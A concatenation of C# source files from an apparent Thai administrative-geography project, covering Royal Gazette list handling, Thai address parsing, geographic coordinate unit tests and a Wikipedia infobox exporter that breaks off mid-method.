public object Clone()
{
return new GeoDatum(this);
}
#endregion
#region IEquatable Members
public bool Equals(GeoDatum value)
{
bool result = value.Ellipsoid.Equals(this.Ellipsoid);
result = result & (Math.Abs(value.DeltaX - this.DeltaX) < 0.1);
result = result & (Math.Abs(value.DeltaY - this.DeltaY) < 0.1);
result = result & (Math.Abs(value.DeltaZ - this.DeltaZ) < 0.1);
return result;
}
#endregion
}
}
<file_sep>/AHTambon/RoyalGazetteList.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Xml;
using System.ServiceModel.Syndication;
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazetteEventArgs : EventArgs
{
public RoyalGazetteList Data
{ get; private set; }
public RoyalGazetteEventArgs(RoyalGazetteList data):base()
{
Data = data;
}
}
public delegate void RoyalGazetteProcessingFinishedHandler (Object sender, RoyalGazetteEventArgs e);
public class RoyalGazetteList : List<RoyalGazette>
{
// public delegate void ProcessingFinished(RoyalGazetteList data);
// public delegate void ProcessingFinishedFiltered(RoyalGazetteList data, Boolean filtered);
private class URIComparer : IComparer<RoyalGazette>
{
public int Compare(RoyalGazette x, RoyalGazette y)
{
String lUriX = String.Empty;
String lUriY = String.Empty;
if ( x != null )
{
lUriX = x.URI;
}
if ( y != null )
{
lUriY = y.URI;
}
int lResult = lUriX.CompareTo(lUriY);
return lResult;
}
}
#region constructor
public RoyalGazetteList()
{
}
#endregion
#region methods
public static RoyalGazetteList Load(String iFromFile)
{
StreamReader lReader = null;
XmlDocument lXmlDoc = null;
RoyalGazetteList RetVal = null;
try
{
if ( !String.IsNullOrEmpty(iFromFile) && File.Exists(iFromFile) )
{
lReader = new StreamReader(iFromFile);
lXmlDoc = new XmlDocument();
lXmlDoc.LoadXml(lReader.ReadToEnd());
RetVal = RoyalGazetteList.Load(lXmlDoc);
}
}
finally
{
if ( lReader != null )
{
lReader.Close();
}
}
return RetVal;
}
internal static void ParseNode(XmlNode iNode, RoyalGazetteList ioList)
{
if ( iNode.HasChildNodes )
{
foreach ( XmlNode lChildNode in iNode.ChildNodes )
{
if ( lChildNode.Name == "year" )
{
ParseNode(lChildNode, ioList);
}
else if ( lChildNode.Name == "decade" )
{
ParseNode(lChildNode, ioList);
}
else if ( lChildNode.Name == "month" )
{
ParseNode(lChildNode, ioList);
}
else if ( lChildNode.Name == "entry" )
{
ioList.Add(RoyalGazette.Load(lChildNode));
}
}
}
}
internal static RoyalGazetteList Load(XmlNode iNode)
{
RoyalGazetteList RetVal = null;
if ( iNode != null )
{
foreach ( XmlNode lNode in iNode.ChildNodes )
{
if ( lNode != null && lNode.Name.Equals("gazette") )
{
RetVal = new RoyalGazetteList();
ParseNode(lNode, RetVal);
}
}
}
return RetVal;
}
public void MirrorAllToCache()
{
foreach ( RoyalGazette lEntry in this )
{
lEntry.MirrorToCache();
}
}
public void SortByPublicationDate()
{
Sort(delegate(RoyalGazette x, RoyalGazette y) { return y.Publication.CompareTo(x.Publication); });
}
public RoyalGazetteList AllAboutEntity(Int32 iGeocode, Boolean iIncludeSubEntities)
{
var retval = new RoyalGazetteList();
foreach ( RoyalGazette lEntry in this )
{
if ( lEntry.IsAboutGeocode(iGeocode, iIncludeSubEntities) )
{
retval.Add(lEntry);
}
}
return retval;
}
public void ExportToXML(XmlNode iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNode = (XmlElement)lXmlDocument.CreateNode("element", "gazette", "");
iNode.AppendChild(lNode);
foreach ( RoyalGazette lEntry in this )
{
lEntry.ExportToXML(lNode);
}
}
public void ExportToRSS(String iFilename)
{
SyndicationFeed lFeed = new SyndicationFeed();
lFeed.Title = new TextSyndicationContent("Royal Gazette");
List<SyndicationItem> lItems = new List<SyndicationItem>();
foreach ( RoyalGazette lEntry in this )
{
lItems.Add(lEntry.ToSyndicationItem());
}
lFeed.Items = lItems;
XmlWriter lWriter = XmlWriter.Create(iFilename);
lFeed.SaveAsAtom10(lWriter);
lWriter.Flush();
}
public void SaveXML(string iFilename)
{
XmlDocument lXmlDocument = new XmlDocument();
ExportToXML(lXmlDocument);
lXmlDocument.Save(iFilename);
}
public RoyalGazetteList FilteredList(RoyalGazetteList iFilter)
{
var lResult = new RoyalGazetteList();
foreach ( RoyalGazette lEntry in this )
{
if ( iFilter == null )
{
lResult.Add(lEntry);
}
else if ( !iFilter.Contains(lEntry) )
{
lResult.Add(lEntry);
}
}
return lResult;
}
public RoyalGazetteList FindDuplicates()
{
RoyalGazetteList lResult = new RoyalGazetteList();
RoyalGazetteList lTemp = new RoyalGazetteList();
lTemp.AddRange(this);
URIComparer lComparer = new URIComparer();
lTemp.Sort(lComparer.Compare);
int lIndex = 0;
while ( lIndex < lTemp.Count )
{
RoyalGazette lEntry = lTemp[lIndex];
lTemp.RemoveAt(lIndex);
int lFound = lTemp.BinarySearch(lEntry, lComparer);
if ( lFound >= 0 )
{
lResult.Add(lEntry);
}
}
return lResult;
}
#endregion
}
}
<file_sep>/TambonMain/IIsEmpty.cs
using System;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Interface to check whether a structure has any data.
/// </summary>
interface IIsEmpty
{
/// <summary>
/// Checks whether the structure has any data set other than default values.
/// </summary>
/// <returns><c>true</c> if structure has any data set, <c>false</c> otherwise.</returns>
Boolean IsEmpty();
}
}
<file_sep>/AHTambon/ThaiAddress.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class ThaiAddress : ICloneable
{
#region properties
private Int32 _geocode = 0;
public String Changwat
{
get; set;
}
public String Amphoe
{
get; set;
}
public String Tambon
{
get; set;
}
public Int32 Muban
{
get; set;
}
public String MubanName
{
get; set;
}
public Int32 PostalCode
{
get; set;
}
public Int32 Geocode
{
get
{
return _geocode;
}
}
public String Street
{
get; set;
}
public String PlainValue
{
get; set;
}
#endregion properties
private const String SearchKeyMuban = "หมู่ ";
private const String SearchKeyMubanAlternative = "หมู่ที่";
private const String SearchKeyTambon = "ต.";
private const String SearchKeyPostalCode = "รหัสไปรษณีย์";
internal void CalcGeocode()
{
// Should include Tambon
_geocode = TambonHelper.GetGeocode(Changwat, Amphoe, EntityType.Amphoe);
}
internal void WriteToXmlElement(XmlElement iElement)
{
// TODO
}
public void ExportToXML(XmlElement iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "address", "");
iNode.AppendChild(lNewElement);
WriteToXmlElement(lNewElement);
}
private String TextAfter(String iValue, String iSearch)
{
String lTemp = lTemp = iValue.Substring(iValue.IndexOf(iSearch) + iSearch.Length).Trim();
if ( lTemp.Contains(' ') )
{
lTemp = lTemp.Substring(0, lTemp.IndexOf(' '));
}
return lTemp;
}
internal void ParseString(String iValue)
{
PlainValue = iValue;
// In kontessaban: ถ.ราษฎร์ดำรง หมู่ 4 ต.ปาย อำเภอ ปาย จังหวัด แม่ฮ่องสอน รหัสไปรษณีย์ 58130
// in amphoe.com verschiedene:
// ถนนเพชรเกษม หมู่ที่ 7 ต.โคกโพธิ์ อ.โคกโพธิ์ จ.ปัตตานี
// หมู่ที่ 1 ต.ตุยง อ.หนองจิก จ.ปัตตานี
// aber auch unsinniges wie
// ที่ว่าการอำเภอ เมืองปัตตานี จังหวัดปัตตานี oder gar ที่ว่าการอำเภอมายอ
// TODO
if ( iValue.Contains(SearchKeyMuban) )
{
String lTemp = iValue.Replace(SearchKeyMubanAlternative, SearchKeyMuban);
lTemp = TextAfter(lTemp, SearchKeyMuban);
lTemp = TambonHelper.OnlyNumbers(lTemp);
if ( !String.IsNullOrEmpty(lTemp) )
{
Muban = Convert.ToInt32(lTemp);
}
}
if ( iValue.Contains(EntityTypeHelper.EntityNames[EntityType.Changwat]) )
{
Changwat = TextAfter(iValue, EntityTypeHelper.EntityNames[EntityType.Changwat]);
}
if ( iValue.Contains(EntityTypeHelper.EntityNames[EntityType.Amphoe]) )
{
Amphoe = TextAfter(iValue, EntityTypeHelper.EntityNames[EntityType.Amphoe]);
}
if ( iValue.Contains(SearchKeyTambon) )
{
Tambon = TextAfter(iValue, SearchKeyTambon);
}
if ( iValue.Contains(SearchKeyPostalCode) )
{
String lTemp = TextAfter(iValue, SearchKeyPostalCode);
lTemp = TambonHelper.OnlyNumbers(lTemp);
if ( !String.IsNullOrEmpty(lTemp) )
{
PostalCode = Convert.ToInt32(lTemp);
}
}
}
internal static ThaiAddress Load(XmlNode iNode)
{
ThaiAddress RetVal = null;
if ( iNode != null && iNode.Name.Equals("address") )
{
RetVal = new ThaiAddress();
RetVal.ReadFromXml(iNode);
}
return RetVal;
}
internal void ReadFromXml(XmlNode iNode)
{
if ( iNode != null )
{
foreach ( XmlNode lNode in iNode.ChildNodes )
{
switch ( lNode.Name )
{
case "postcode":
PostalCode = TambonHelper.GetAttributeOptionalInt(lNode, "code", 0);
break;
case "street":
Street = TambonHelper.GetAttribute(lNode, "value");
break;
case "village":
Muban = TambonHelper.GetAttributeOptionalInt(lNode, "number", 0);
MubanName = TambonHelper.GetAttributeOptionalString(lNode, "name");
break;
case "tambon":
Tambon = TambonHelper.GetAttribute(lNode, "name");
_geocode = TambonHelper.GetAttributeOptionalInt(lNode, "geocode", 0);
break;
}
}
}
}
public override string ToString()
{
String lValue = String.Empty;
if ( !String.IsNullOrEmpty(Street) )
{
lValue = Street + Environment.NewLine;
}
if ( !String.IsNullOrEmpty(Tambon) )
{
lValue = lValue + "ต." + Tambon + Environment.NewLine;
}
if ( !String.IsNullOrEmpty(Amphoe) )
{
lValue = lValue + "อ." + Amphoe + Environment.NewLine;
}
if ( !String.IsNullOrEmpty(Changwat) )
{
lValue = lValue + "จ." + Changwat + Environment.NewLine;
}
return lValue;
}
#region constructor
public ThaiAddress()
{
}
public ThaiAddress(ThaiAddress iValue)
{
Changwat = iValue.Changwat;
Amphoe = iValue.Amphoe;
Tambon = iValue.Tambon;
Muban = iValue.Muban;
PostalCode = iValue.PostalCode;
Street = iValue.Street;
PlainValue = iValue.PlainValue;
}
#endregion constructor
#region ICloneable Members
public object Clone()
{
return new ThaiAddress(this);
}
#endregion ICloneable Members
}
}<file_sep>/AHTambon/AmphoeComData.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class AmphoeComData
{
// TODO: DistrictOffice String -> ThaiAddress object
#region properties
public String AmphoeName
{
get;
set;
}
public String ChangwatName
{
get;
set;
}
public String ChangwatSlogan
{
get;
set;
}
public String AmphoeSlogan
{
get;
set;
}
public String DistrictOffice
{
get;
set;
}
public Int32 ProvinceID
{
get;
set;
}
public Int32 AmphoeID
{
get;
set;
}
public String Telephone
{
get;
set;
}
public String Fax
{
get;
set;
}
public String Website
{
get;
set;
}
public String History
{
get;
set;
}
public String Area
{
get;
set;
}
public String Climate
{
get;
set;
}
public Int32 Tambon
{
get;
set;
}
public Int32 Muban
{
get;
set;
}
public Int32 Thesaban
{
get;
set;
}
public Int32 TAO
{
get;
set;
}
#endregion properties
public Int32 Geocode()
{
Int32 amphoeID = TambonHelper.GetGeocode(ChangwatName, AmphoeName, EntityType.Amphoe);
return amphoeID;
}
public void ExportToXML(XmlNode node)
{
XmlDocument xmlDocument = TambonHelper.XmlDocumentFromNode(node);
var newElement = (XmlElement)xmlDocument.CreateNode("element", "entity", "");
newElement.SetAttribute("geocode", Geocode().ToString());
newElement.SetAttribute("name", AmphoeName);
node.AppendChild(newElement);
var nodeAmphoeCom = (XmlElement)xmlDocument.CreateNode("element", "amphoe.com", "");
nodeAmphoeCom.SetAttribute("amphoe", AmphoeID.ToString());
nodeAmphoeCom.SetAttribute("changwat", ProvinceID.ToString());
newElement.AppendChild(nodeAmphoeCom);
var nodeSlogan = (XmlElement)xmlDocument.CreateNode("element", "slogan", "");
nodeSlogan.InnerText = AmphoeSlogan;
newElement.AppendChild(nodeSlogan);
var nodeAddress = (XmlElement)xmlDocument.CreateNode("element", "address", "");
nodeAddress.InnerText = DistrictOffice;
newElement.AppendChild(nodeAddress);
var nodeHistory = (XmlElement)xmlDocument.CreateNode("element", "history", "");
nodeHistory.InnerText = History;
newElement.AppendChild(nodeHistory);
var nodeClimate = (XmlElement)xmlDocument.CreateNode("element", "climate", "");
nodeClimate.InnerText = Climate;
newElement.AppendChild(nodeClimate);
var nodeArea = (XmlElement)xmlDocument.CreateNode("element", "area", "");
nodeArea.InnerText = Area;
newElement.AppendChild(nodeArea);
var nodeUrl = (XmlElement)xmlDocument.CreateNode("element", "website", "");
nodeUrl.InnerText = Website;
newElement.AppendChild(nodeUrl);
var nodeTelephone = (XmlElement)xmlDocument.CreateNode("element", "telephone", "");
nodeTelephone.InnerText = Telephone;
newElement.AppendChild(nodeTelephone);
var nodeFax = (XmlElement)xmlDocument.CreateNode("element", "fax", "");
nodeFax.InnerText = Fax;
newElement.AppendChild(nodeFax);
var nodeSubEntities = (XmlElement)xmlDocument.CreateNode("element", "subdivision", "");
nodeSubEntities.SetAttribute("tambon", Tambon.ToString());
nodeSubEntities.SetAttribute("thesaban", Thesaban.ToString());
nodeSubEntities.SetAttribute("muban", Muban.ToString());
nodeSubEntities.SetAttribute("TAO", TAO.ToString());
newElement.AppendChild(nodeSubEntities);
}
}
}<file_sep>/TambonMain/AnnouncementStatistics.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public abstract class AnnouncementStatistics
{
#region properties
/// <summary>
/// Gets or sets the initial year to be checked.
/// </summary>
/// <value>The initial year.</value>
public Int32 StartYear
{
get;
set;
}
/// <summary>
/// Gets or sets the final year to be checked.
/// </summary>
/// <value>The final year.</value>
public Int32 EndYear
{
get;
set;
}
/// <summary>
/// Gets the number of announcements.
/// </summary>
/// <value>The number of announcements.</value>
public Int32 NumberOfAnnouncements
{
get;
protected set;
}
#endregion properties
#region methods
/// <summary>
/// Clears the <see cref="NumberOfAnnouncements"/>.
/// </summary>
protected virtual void Clear()
{
NumberOfAnnouncements = 0;
}
/// <summary>
/// Checks whether the <see cref="GazetteEntry.publication">publication date</see> of <paramref name="entry"/> fits into the time range given by <see cref="StartYear"/> and <see cref="EndYear"/>.
/// </summary>
/// <param name="entry">Announcement to check.</param>
/// <returns><c>true</c> if announcement publication date is in the time range, <c>false</c> otherwise.</returns>
/// <exception cref="ArgumentNullException"><paramref name="entry"/> is <c>null</c>.</exception>
protected virtual Boolean AnnouncementDateFitting(GazetteEntry entry)
{
if ( entry == null )
{
throw new ArgumentNullException("entry");
}
Boolean retval = ((entry.publication.Year <= EndYear) && (entry.publication.Year >= StartYear));
return retval;
}
/// <summary>
/// Calculates the actual detail statistics of the given <paramref name="entry"/>.
/// </summary>
/// <param name="entry">Announcement to be checked.</param>
protected abstract void ProcessAnnouncement(GazetteEntry entry);
/// <summary>
/// Calculates the statistics for all the given announcements.
/// </summary>
/// <param name="gazetteList">List of announcements.</param>
/// <exception cref="ArgumentNullException"><paramref name="gazetteList"/> is <c>null</c>.</exception>
public void Calculate(GazetteList gazetteList)
{
if ( gazetteList == null )
{
throw new ArgumentNullException("gazetteList");
}
Calculate(gazetteList.AllGazetteEntries);
}
/// <summary>
/// Calculates the statistics for all the given announcements.
/// </summary>
/// <param name="gazetteList">List of announcements.</param>
/// <exception cref="ArgumentNullException"><paramref name="gazetteList"/> is <c>null</c>.</exception>
public void Calculate(IEnumerable<GazetteEntry> gazetteList)
{
if ( gazetteList == null )
{
throw new ArgumentNullException("gazetteList");
}
Clear();
foreach ( var entry in gazetteList )
{
if ( AnnouncementDateFitting(entry) )
{
ProcessAnnouncement(entry);
}
}
}
/// <summary>
/// Gets a textual representation of the results.
/// </summary>
/// <returns>Textual representation of the results.</returns>
public abstract String Information();
#endregion methods
}
}<file_sep>/TestTambon/GeoPoint_Test.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using De.AHoerstemeier.Geo;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace De.Ahoerstemeier.Test
{
/// <summary>
/// Tests for GeoPoint class
/// </summary>
[TestClass]
public class GeoPointTest
{
private const double _LatitudeBangkok = 13.7535;
private const double _LongitudeBangkok = 100.5018;
private const double _AltitudeBangkok = 2.0;
private const String _BangkokGeoHash = "w4rqnzxpv";
private const String _BangkokMaidenhead = "OK03gs";
public GeoPointTest()
{
//
// TODO: Add constructor logic here
//
}
private TestContext testContextInstance;
/// <summary>
///Gets or sets the test context which provides
///information about and functionality for the current test run.
///</summary>
public TestContext TestContext
{
get
{
return testContextInstance;
}
set
{
testContextInstance = value;
}
}
#region Additional test attributes
//
// You can use the following additional attributes as you write your tests:
//
// Use ClassInitialize to run code before running the first test in the class
// [ClassInitialize()]
// public static void MyClassInitialize(TestContext testContext) { }
//
// Use ClassCleanup to run code after all tests in a class have run
// [ClassCleanup()]
// public static void MyClassCleanup() { }
//
// Use TestInitialize to run code before running each test
// [TestInitialize()]
// public void MyTestInitialize() { }
//
// Use TestCleanup to run code after each test has run
// [TestCleanup()]
// public void MyTestCleanup() { }
//
#endregion Additional test attributes
[TestMethod]
public void TestGeoPointCopyConstructor()
{
GeoPoint basePoint = new GeoPoint(_LatitudeBangkok, _LongitudeBangkok, _AltitudeBangkok, GeoDatum.DatumWGS84());
GeoPoint clonePoint = new GeoPoint(basePoint);
Assert.IsTrue(basePoint.Equals(clonePoint));
// Assert.AreEqual<GeoPoint>(lClonePoint, lBasePoint); // does not use the IEquatable
}
[TestMethod]
public void TestCalcUTM()
{
// Dresden according to Wikipedia : 13° 44' 29"E 51° 02' 55"N
GeoPoint basePoint = new GeoPoint(51.0 + 02.0 / 60.0 + 55.0 / 3600.0, 13.0 + 44.0 / 60.0 + 29.0 / 3600.0);
UtmPoint utmPoint = basePoint.CalcUTM();
// Expected result: Zone 33 North, Northing 5655984 Easting 411777
UtmPoint expected = new UtmPoint(411777, 5655984, 33, true);
Assert.IsTrue(expected.Equals(utmPoint));
}
[TestMethod]
public void TestUTMToGeo()
{
// Dresden according to Wikipedia : 13° 44' 29"E 51° 02' 55"N = UTM 33U 0411777 5655984
UtmPoint utmPoint = new UtmPoint("33U 0411777 5655984");
GeoPoint geoPoint = new GeoPoint(utmPoint, GeoDatum.DatumWGS84());
GeoPoint expected = new GeoPoint(51.0 + 02.0 / 60.0 + 55.0 / 3600.0, 13.0 + 44.0 / 60.0 + 29.0 / 3600.0);
Assert.IsTrue(expected.Equals(geoPoint));
}
[TestMethod]
public void TestUTMToMGRS()
{
UtmPoint utmPoint = new UtmPoint("33U 0411777 5655984");
String mgrs = utmPoint.ToMgrsString(7).Replace(" ", "");
Assert.AreEqual("33UVS1177755984", mgrs);
}
[TestMethod]
public void TestParseMGRS()
{
UtmPoint utmPoint = UtmPoint.ParseMgrsString("33UVS1177755984");
UtmPoint utmPointExpected = new UtmPoint("33U 0411777 5655984");
Assert.IsTrue(utmPointExpected.Equals(utmPoint));
}
[TestMethod]
public void TestDatumConversion()
{
// example as of http://www.colorado.edu/geography/gcraft/notes/datum/gif/molodens.gif
GeoPoint point = new GeoPoint(30, -100, 232, GeoDatum.DatumNorthAmerican27MeanConus());
point.Datum = GeoDatum.DatumWGS84();
GeoPoint expected = new GeoPoint(30.0002239, -100.0003696, 194.816, GeoDatum.DatumWGS84());
Assert.IsTrue(expected.Equals(point));
}
[TestMethod]
public void TestGeoHashToGeo()
{
GeoPoint geoPoint = new GeoPoint();
geoPoint.GeoHash = _BangkokGeoHash;
GeoPoint expected = new GeoPoint(_LatitudeBangkok, _LongitudeBangkok);
Assert.IsTrue(expected.Equals(geoPoint));
}
[TestMethod]
public void TestGeoToGeoHash()
{
GeoPoint geoPoint = new GeoPoint(_LatitudeBangkok, _LongitudeBangkok);
String geoHash = geoPoint.GeoHash;
Assert.AreEqual(geoHash, _BangkokGeoHash);
}
[TestMethod]
public void TestParseCoordinateDegMinSec()
{
String coordinateString = " 13°45'46.08\" N 100°28'41.16\" E";
GeoPoint geoPoint = new GeoPoint(coordinateString);
var expected = new GeoPoint(13.7628, 100.478100);
Assert.IsTrue(expected.Equals(geoPoint), String.Format("Expected {0}, returned {1}", expected, geoPoint));
}
[TestMethod]
public void TestParseCoordinateDecimalDegree()
{
String coordinateString = " 13.7628° N 100.478100° E";
GeoPoint geoPoint = new GeoPoint(coordinateString);
var expected = new GeoPoint(13.7628, 100.478100);
Assert.IsTrue(expected.Equals(geoPoint), String.Format("Expected {0}, returned {1}", expected, geoPoint));
}
[TestMethod]
public void TestMaidenheadToGeo()
{
GeoPoint geoPoint = new GeoPoint();
geoPoint.Maidenhead = _BangkokMaidenhead;
GeoPoint expected = new GeoPoint(_LatitudeBangkok, _LongitudeBangkok);
Assert.IsTrue(expected.Equals(geoPoint), String.Format("Expected {0}, returned {1}", expected, geoPoint));
}
[TestMethod]
public void TestGeoToMaidenhead()
{
GeoPoint geoPoint = new GeoPoint(_LatitudeBangkok, _LongitudeBangkok);
String maidenhead = geoPoint.Maidenhead;
maidenhead = maidenhead.Substring(0, _BangkokMaidenhead.Length);
Assert.AreEqual(_BangkokMaidenhead, maidenhead);
}
}
}<file_sep>/TambonMain/HistoryAreaChange.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class HistoryAreaChange
{
#region fixup serialization
public Boolean ShouldSerializechangewith()
{
return changewith.Any();
}
#endregion fixup serialization
}
}<file_sep>/AHTambon/ConstituencyList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class ConstituencyList:List<ConstituencyEntry>
{
public Int32 Population()
{
Int32 lResult = 0;
foreach (ConstituencyEntry lEntry in this)
{
lResult += lEntry.Population();
}
return lResult;
}
public Int32 NumberOfSeats()
{
Int32 lResult = 0;
foreach (ConstituencyEntry lEntry in this)
{
lResult += lEntry.NumberOfSeats;
}
return lResult;
}
internal void ReadFromXml(System.Xml.XmlNode iNode)
{
if ( iNode != null && iNode.Name.Equals("constituencies") )
{
if ( iNode.HasChildNodes )
{
foreach ( XmlNode lChildNode in iNode.ChildNodes )
{
if ( lChildNode.Name == "constituency" )
{
ConstituencyEntry lConstituency = ConstituencyEntry.Load(lChildNode);
Add(lConstituency);
}
}
}
}
}
}
}
<file_sep>/TambonMain/WikipediaExporter.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Wikibase;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Helper class for export to Wikipedia.
/// </summary>
public class WikipediaExporter
{
#region fields
/// <summary>
/// List of the local governments in <see cref="_country"/>.
/// </summary>
private IEnumerable<Entity> _localGovernments;
/// <summary>
/// Entity of the country.
/// </summary>
private Entity _country;
/// <summary>
/// API to connect to WikiData.
/// </summary>
private WikibaseApi _api;
/// <summary>
/// Helper to connect to WikiData.
/// </summary>
private WikiDataHelper _helper;
#endregion fields
#region properties
/// <summary>
/// Gets or sets whether wikidata should be checked to include Wikipedia links.
/// </summary>
/// <value><c>true</c> to check Wikidata for links, <c>false</c> otherwise.</value>
public Boolean CheckWikiData
{
get;
set;
}
/// <summary>
/// Gets or sets the intended data source for the population.
/// </summary>
/// <value>Data source for the population.</value>
public PopulationDataSourceType PopulationDataSource
{
get;
set;
}
/// <summary>
/// Gets or sets the year of the population data.
/// </summary>
/// <value>The year of the population data.</value>
public Int16 PopulationReferenceYear
{
get;
set;
}
#endregion properties
#region constructor
/// <summary>
/// Creates a new instance of <see cref="WikipediaExporter"/>.
/// </summary>
/// <param name="country">Entity representing the country.</param>
/// <param name="localGovernments">Enumeration of the local governments.</param>
/// <exception cref="ArgumentNullException"><paramref name="country"/> or <paramref name="localGovernments"/> is <c>null</c>.</exception>
public WikipediaExporter(Entity country, IEnumerable<Entity> localGovernments)
{
if ( country == null )
{
throw new ArgumentNullException("baseEntity");
}
if ( localGovernments == null )
{
throw new ArgumentNullException("localGovernments");
}
_country = country;
this._localGovernments = localGovernments;
PopulationDataSource = PopulationDataSourceType.DOPA;
}
#endregion constructor
#region public methods
/// <summary>
/// Creates the administration section for Wikipedia.
/// </summary>
/// <param name="entity">Entity to export.</param>
/// <param name="language">Language to use.</param>
/// <returns>Wikipedia text of administration section.</returns>
/// <exception cref="ArgumentNullException"><paramref name="entity"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentException"><paramref name="entity"/> has wrong <see cref="Entity.type"/>.</exception>
/// <exception cref="NotImplementedException"><paramref name="language"/> is not yet implemented.</exception>
public String AmphoeToWikipedia(Entity entity, Language language)
{
if ( entity == null )
{
throw new ArgumentNullException("entity");
}
if ( !entity.type.IsCompatibleEntityType(EntityType.Amphoe) )
{
throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, "Entity type {0} not compatible with Amphoe", entity.type));
}
String result;
switch ( language )
{
case Language.German:
result = AmphoeToWikipediaGerman(entity);
break;
case Language.English:
result = AmphoeToWikipediaEnglish(entity);
break;
default:
throw new NotImplementedException(String.Format(CultureInfo.InvariantCulture, "Unsupported language {0}", language));
}
return result;
}
/// <summary>
/// Creates an Wikipedia article stub for a Tambon.
/// </summary>
/// <param name="entity">Entity to export.</param>
/// <param name="language">Language to use.</param>
/// <returns>Wikipedia text.</returns>
/// <exception cref="ArgumentNullException"><paramref name="entity"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentException"><paramref name="entity"/> has wrong <see cref="Entity.type"/>.</exception>
/// <exception cref="NotImplementedException"><paramref name="language"/> is not yet implemented.</exception>
public String TambonArticle(Entity entity, Language language)
{
if ( entity == null )
{
throw new ArgumentNullException("entity");
}
if ( !entity.type.IsCompatibleEntityType(EntityType.Tambon) )
{
throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, "Entity type {0} not compatible with Tambon", entity.type));
}
if ( language != Language.English )
{
throw new NotImplementedException(String.Format(CultureInfo.InvariantCulture, "Unsupported language {0}", language));
}
var englishCulture = new CultureInfo("en-US");
var province = _country.entity.FirstOrDefault(x => x.geocode == GeocodeHelper.ProvinceCode(entity.geocode));
var amphoe = province.entity.FirstOrDefault(x => GeocodeHelper.IsBaseGeocode(x.geocode, entity.geocode));
var muban = entity.entity.Where(x => x.type == EntityType.Muban && !x.IsObsolete);
var lao = _localGovernments.Where(x => x.LocalGovernmentAreaCoverage.Any(y => y.geocode == entity.geocode));
var parentTambon = new List<Entity>();
var creationHistory = entity.history.Items.FirstOrDefault(x => x is HistoryCreate) as HistoryCreate;
if ( creationHistory != null )
{
var allTambon = _country.FlatList().Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon));
parentTambon.AddRange(creationHistory.splitfrom.Select(x => allTambon.FirstOrDefault(y => x == y.geocode)));
}
var tempList = new List<Entity>() { province, amphoe };
tempList.AddRange(muban);
tempList.AddRange(lao);
tempList.AddRange(parentTambon);
var links = RetrieveWikpediaLinks(tempList, language);
var populationData = entity.population.FirstOrDefault(x => x.Year == PopulationReferenceYear && x.source == PopulationDataSourceType.DOPA);
Int32 population = 0;
if ( populationData != null )
{
population = populationData.TotalPopulation.total;
}
StringBuilder builder = new StringBuilder();
builder.AppendLine("{{Infobox settlement");
builder.AppendLine("<!--See the Table at Infobox Settlement for all fields and descriptions of usage-->");
builder.AppendLine("<!-- Basic info ---------------->");
builder.AppendFormat(englishCulture, "|official_name = {0}", entity.english);
builder.AppendLine();
builder.AppendFormat(englishCulture, "|native_name = {0}", entity.name);
builder.AppendLine();
builder.AppendLine("|settlement_type = [[Tambon]]");
builder.AppendLine("|motto =");
builder.AppendLine("<!-- Location ------------------>");
builder.AppendLine("|subdivision_type = Country ");
builder.AppendLine("|subdivision_name ={{flag|Thailand}} ");
builder.AppendLine("|subdivision_type2 = [[Provinces of Thailand|Province]]");
builder.AppendFormat(englishCulture, "|subdivision_name2 = {0}", WikiLink(links[province], province.english));
builder.AppendLine();
builder.AppendLine("|subdivision_type3 = [[Amphoe]]");
builder.AppendFormat(englishCulture, "|subdivision_name3 = {0}", WikiLink(links[amphoe], amphoe.english));
builder.AppendLine();
builder.AppendLine("<!-- Politics ----------------->");
builder.AppendLine("|established_title = ");
builder.AppendLine("|established_date = ");
builder.AppendLine("<!-- Area --------------------->");
builder.AppendLine("|area_total_km2 = ");
builder.AppendLine("|area_water_km2 =");
builder.AppendLine("<!-- Population ----------------------->");
builder.AppendFormat(englishCulture, "|population_as_of = {0}", PopulationReferenceYear);
builder.AppendLine();
builder.AppendLine("|population_footnotes = ");
builder.AppendLine("|population_note = ");
builder.AppendFormat(englishCulture, "|population_total = {0:#,###,###}", population);
builder.AppendLine();
builder.AppendLine("|population_density_km2 = ");
builder.AppendLine("<!-- General information --------------->");
builder.AppendLine("|timezone = [[Thailand Standard Time|TST]]");
builder.AppendLine("|utc_offset = +7");
builder.AppendLine("|latd= |latm= |lats= |latNS=N");
builder.AppendLine("|longd= |longm= |longs= |longEW=E");
builder.AppendLine("|elevation_footnotes = ");
builder.AppendLine("|elevation_m = ");
builder.AppendLine("<!-- Area/postal codes & others -------->");
builder.AppendLine("|postal_code_type = Postal code");
builder.AppendLine("|postal_code = {{#property:P281}}");
builder.AppendLine("|area_code = ");
builder.AppendLine("|blank_name = [[TIS 1099]]");
builder.AppendLine("|blank_info = {{#property:P1067}}");
builder.AppendLine("|website = ");
builder.AppendLine("|footnotes = ");
builder.AppendLine("}}");
builder.AppendLine();
String nativeName;
if ( !String.IsNullOrEmpty(entity.ipa) )
{
nativeName = String.Format(englishCulture, "{{{{lang-th|{0}}}}}; {{{{IPA-th|{1}|IPA}}}}", entity.name, entity.ipa);
}
else
{
nativeName = String.Format(englishCulture, "{{{{lang-th|{0}}}}}", entity.name);
